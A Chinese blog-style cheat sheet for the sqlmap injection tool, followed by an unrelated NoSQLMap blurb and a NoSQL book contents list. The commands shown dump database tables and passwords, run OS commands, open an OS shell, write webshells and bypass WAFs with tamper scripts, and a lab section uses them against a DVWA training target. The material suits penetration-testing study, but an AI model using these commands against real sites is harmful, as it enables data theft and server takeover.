SQLMAP使用笔记

 SQLMAP 使用笔记
        --by Anton
0-请求注入检测
    sqlmap可以使用基于布尔(bool)、时间(time)、语句是否执行

(页面返回时间是否增加)、报错(error)、联合查询(union)、堆查询(同时执行多条语句)
    get方式 sqlmap.py -u "URL"
    post方式 sqlmap.py -u "URL" --data "post数据"
    cookie方式 sqlmap.py -u "URL" --cookie "cookie数据"

1-获取数据库信息
    获取数据库类型及版本
    获取数据库库名和用户名   
            sqlmap.py -u "URL" --current-db/--current-user

2-获取数据量和用户权限
    数据量 sqlmap.py -u "URL" --count -D "DB_name"
    判断用户权限 sqlmap.py -u "URL" --privileges
      Microsoft SQL Server 最高权限:sa
      Mysql :root

3-Mysql数据库注入
    mysql数据库结构
    mysql注入    库名    sqlmap.py -u "URL" --current-db
                表名    sqlmap.py -u "URL" --tables -D "DB_name"
                列名    sqlmap.py -u "URL" --columns -T "Tables_name" -D "DB_name"
                字段    sqlmap.py -u "URL" --dump -C "Columns_name" -T "Tables_name" -D "DB_name"
                    sqlmap常用选项:
                    ​ --second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
                        sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
                    ​ --tables -D “数据库” 列举数据库的表名
                    ​ --columns -T “表名” -D “数据库” 获取表的列名
                    ​ --dump -C “字段,字段” -T “表名” -D “数据库” 获取表中的数据,包含列
    新的数据库注入
        MongoDB、NoSQL--sqlmap不支持这两款的注入,Nosqlmap使用
                https://github.com/tcstool/nosqlmap
                
4-管理数据库
    连接数据库    sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库"
        --报错需安装pymysql        https://github.com/PyMySQL/PyMySQL
            安装步骤:解压->cmd切换目录->setup.py install
    连接上使用参数:--sql-shell 进行sql执行管理
        sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库" --sql-shell
            @@cersion--查看数据库版本

5-延时注入
    使用情况
        页面无变化、无法使用布尔真假判断、无法报错--作为最精准的注入缺点:耗时长
    如何使用
        --delay 数值(延时秒数) sqlmap.py -u "URL" --delay 1
        --safe-freq        sqlmap.py -u "URL" --safe-freq
        
6-交互式命令执行和写webshell
    初识交互式
        注入点用户权限必须为最高权限
    sqlmap进行命令执行(提权)
        sqlmap.py -u "URL" --os-cmd="命令"
        在使用参数交互时要知道网站的绝对路径-盘符开始
        执行后0-选择网站语言1
        -何种方法寻找网站绝对路径
        执行命令后在网站绝对路径下创建了文件,命令执行后自动删除
    sqlmap写webshell and 提权
        sqlmap.py -u "URL" --os-shell
        执行后0-选择网站语言1-何种方法寻找网站绝对路径
        --关闭sqlmap自动删除

7-Tamper脚本的介绍和使用
    Whate is Tamper?
        sqlmap下的tamper目录,高级sql注入测试,如绕过waf(web应用防火墙)
    Tamper脚本的使用
        --tamper="脚本名字"
        sqlmap.py -u "URL" --tamper="脚本名字"
        sqlmap.py -u "url" --current-db  --dbms=mysql(是access就输access) --tamper “脚本名称(比如1.py)”
    Tamper脚本的总结
        
8-本地写入webshell
    what is 本地写入/如何写入?
        zaisqlmap目录下新建一个目录mst,在该目录下创建需上传的文件
        --file-write "./mst/mst.txt"
            本地文件的地址/路径
        --file-dest "d:/www/1.html"
            目标文件的地址/路径
        sqlmap.py -u "URL" --file-write "./mst/mst.txt" --file-dest "d:/www/1.html"
    
9-批量检测注入漏洞
    what is 批量?
        批量检测sql注入
    如何批量
        -m
        sqlmap.py -m 路径
    结合burpsuite
        对post、cookie、http header等检测
        burpsuite记录所有request记录,并保存在指定文件夹
        sqlmap.py -l c:/burp.log --batch -smart
            即可对burp.log中保存的所有request进行注入扫描
            Batch:自动选择yes
            Smart:启发式快速判断,节约时间
                --level=(1-5) #要执行的测试水平等级,默认为1
                    sqlmap使用的payload可以在xml/payloads/中看到,参数数值影响测试的注

     入点,http cookie在level为2时候会测试,http user——agent/referer头在level为3会测试
                    为保证全面性,level最好设置最高
                --risk=(0-3) #测试执行的风险等级,默认为1
                    默认的1会测试大部分测试语句,2会增加基于事件的测试语句,3会增加OR语句的sql注入测试
                    #有时候,例如在Update的语句中,注入一个or的测试语句,可能会导致更新整个表,风险很大
                    #测试语句可xml/payloads/中找到,也可自行添加

10-Sqlmap注入
    SQLMAP目录结构
        doc/ --->>>该文件夹包含了SQLmap的具体使用说明,例如多种语言的简要说明、PDF版的详细说明、FAQ、作者信息等。
        extra/ -->> >这里包含了SQLmap的多种额外功能,例如发出声响( beep).运行cmd.安全执行、shellcode等。
        lib/ -->>>这里包含了SQLmap的多种连接库,如五种注入类型请求的参数、提权操作等。
        plugins/ -->> >这里包含了各种数据库的信息和数据库通用事项。
        procs/ -->>>这里包含了mssqlserver、mysql. Oracle和postgresql的触发程序
        shell/ -->>>这里包含了多种注入成功后的多种sheli远程连接命令执行和管理数据库
        tamper/ -->>>这里包含了绕过脚本,例如编码绕过、注释绕过等。
        thirdparty/ -->>>这里包含了一些其他第三方的插件,例如优化、保持连接、颜色等。
        txt/ -->>>这里包含了一些字典,例如用户浏览器代理、表、列、关键词等。
        udf/ -->>>这里包含了用户自己定义的攻击载荷。
        waf/ -->>>>这里包含了一一些多种常见的防火墙特征。可以直接使用--identify-waf来进行检测。
        xml/ -->>>这里包含了多种数据库的注入检测载荷、旗标信息以及其他信息。在这里可以看到进行注入的。
    学习SQLMAP注入
        #xml目录下payloads-载荷文件
        #-v数字
            -v有7个等级,默认为1:
                0:只显示python错误以及严重的信息
                1:同时显示信息和警告信息(默认)
                2:同时显示debug的信息
                3:同时显示注入的payload
                4:同时显示HTTP请求
                5:同时显示HTTP响应头
                6:同时显示HTTP响应页面
            sqlmap.py -u "URL" --dba -v 3
        #结合burpsuite
            --proxy=http://ip:port  这里的代理服务器就是burpsuite相对监听的
                sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
11-实验实训
        特殊页面sql注入
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D “dvwa” --tables 进行查询dvwa数据库的表名
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T “users” -D “dvwa”进行查询user表中的列
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C “user,password” -T “users” -D “dvwa” 进行“脱裤”
        sql盲注漏洞
            
        RM-Anton原创,转载请注明。

转载于:https://www.cnblogs.com/RM-Anton/p/9101089.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
NoSQLMap是一款开源Python工具,可以帮助安全测试人员自动化对NoSQL数据库进行攻击测试。目前这款工具的漏洞利用程序围绕MongoDB,但是以后会支持更多的NoSQL数据库,如 CouchDB, Redis和Cassandra。NoSQLMap是一款Python编写的开源工具,常用于审计NoSQL数据库中的自动注入攻击、为了从数据库中揭露数据而利用NoSQL数据库使用NoSQL的Web应用的默认配置弱点。它这样命名是为了几年Bernardo Damele和Miroslav创作的流行的SQL工具SQLmap,它的设计理念来源于Ming Chow在Defcon中发表的很棒的演讲-”Abusing NoSQL Databases”。该工具目前主要应用于MongoDB,但是它在未来的版本中还会支持其他基于NoSQL的平台,如CouchDB, Redis和Cassandra等。当前该项目的目的是为简单攻击MongoDB服务器和一些web应用提供渗透测试工具,以及用通过概念攻击来证明某NoSQL应用不会受到SQL注入。主要功能:自动化MongoDB和CouchDB数据库枚举和克隆攻击。通过MongoDB web应用提取数据库名称、用户和哈希密码。为使用默认访问和枚举版本的MongoDB和CouchDB数据库扫描子网或IP列表。字典攻击、暴力破解恢复的MongoDB和CouchDB的哈希密码。针对MongoClient的PHP应用程序参数注入攻击,返回所有数据库中的记录。Javascript函数变量转移和任意代码注入,返回所有数据库中的记录。类似于盲SQL注入的用于验证无来自应用程序的反馈的Javascript注入漏洞的时序攻击。使用方法启动./nosqlmap.py或python nosqlmap.py.基本菜单1-Set options (do this first) 2-NoSQL DB Access Attacks 3-NoSQL Web App attacks 4-Exit 标签:NoSQLMap
第一部分  NoSQL入门 第1章  NoSQL的概念及适用范围 2 1.1  定义和介绍 3 1.1.1  背景与历史 3 1.1.2  大数据 5 1.1.3  可扩展性 7 1.1.4  MapReduce 8 1.2  面向列的有序存储 9 1.3  键/值存储 11 1.4  文档数据库 14 1.5  图形数据库 15 1.6  小结 16 第2章  NoSQL上手初体验 17 2.1  第一印象——两个简单的例子 17 2.1.1  简单的位置偏好数据集 17 2.1.2  存储汽车品牌和型号数据 22 2.2  使用多种语言 30 2.2.1  MongoDB驱动 30 2.2.2  初识Thrift 33 2.3  小结 34 第3章  NoSQL接口与交互 36 3.1  没了SQL还剩什么 36 3.1.1  存储和访问数据 37 3.1.2  MongoDB数据存储与访问 37 3.1.3  MongoDB数据查询 41 3.1.4  Redis数据存储与访问 43 3.1.5  Redis数据查询 47 3.1.6  HBase数据存储与访问 50 3.1.7  HBase数据查询 52 3.1.8  Apache Cassandra数据存储与访问 54 3.1.9  Apache Cassandra数据查询 55 3.2  NoSQL数据存储的语言绑定 56 3.2.1  Thrift 56 3.2.2  Java 56 3.2.3  Python 58 3.2.4  Ruby 59 3.2.5  PHP 59 3.3  小结 60 第二部分  NoSQL基础 第4章  理解存储架构 62 4.1  使用面向列的数据库 63 4.1.1  使用关系型数据库中的表格和列 63 4.1.2  列数据库对比RDBMS 65 4.1.3  列数据库当做键/值对的嵌套映射表 67 4.1.4  Webtable布局 70 4.2  HBase分布式存储架构 71 4.3  文档存储内部机制 73 4.3.1  用内存映射文件存储数据 74 4.3.2  MongoDB集合和索引使用指南 75 4.3.3  MongoDB的可靠性和耐久性 75 4.3.4  水平扩展 76 4.4  键/值存储Memcached和Redis 78 4.4.1  Memcached的内部结构 78 4.4.2  Redis的内部结构 79 4.5  最终一致性非关系型数据库 80 4.5.1  一致性哈希 81 4.5.2  对象版本 82 4.5.3  闲话协议和提示移交 83 4.6  小结 83 第5章  执行CRUD操作 84 5.1  创建记录 84 5.1.1  在以文档为中心的数据库中创建记录 85 5.1.2  面向列数据库的创建操作 91 5.1.3  键/值映射表的创建操作 93 5.2  访问数据 96 5.2.1  用MongoDB访问文档 96 5.2.2  用HBase访问数据 97 5.2.3  查询Redis 98 5.3  更新和删除数据 98 5.3.1  使用MongoDB、HBase和Redis更新及修改数据 98 5.3.2  有限原子性和事务完整性 99 5.4  小结 100 第6章  查询NoSQL存储 101 6.1  SQL与MongoDB查询功能的相似点 101 6.1.1  加载MovieLens数据 103 6.1.2  MongoDB中的MapReduce 108 6.2  访问HBase等面向列数据库中的数据 111 6.3  查询Redis数据存储 113 6.4  小结 116 第7章  修改数据存储及管理演进 117 7.1  修改文档数据库 117 7.1.1  弱schema的灵活性 120 7.1.2  MongoDB的数据导入与导出 121 7.2  面向列数据库中数据schema的演进 124 7.3  HBase数据导入与导出 125 7.4  键/值存储中的数据演变 126 7.5  小结 126 第8章  数据索引与排序 127 8.1  数据库索引的基本概念 127 8.2  MongoDB的索引与排序 128 8.3  MongoDB里创建和使用索引 131 8.3.1  组合与嵌套键 136 8.3.2  创建唯一索引和稀疏索引 138 8.3.3  基于关键字的搜索和多重键 139 8.4  CouchDB的索引与排序 140 8.5  Apache Cassandra的索引与排序 141 8.6  小结 143 第9章  事务和数据完整性的管理 144 9.1  RDBMS和ACID 144 9.2  分布式ACID系统 147 9.

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值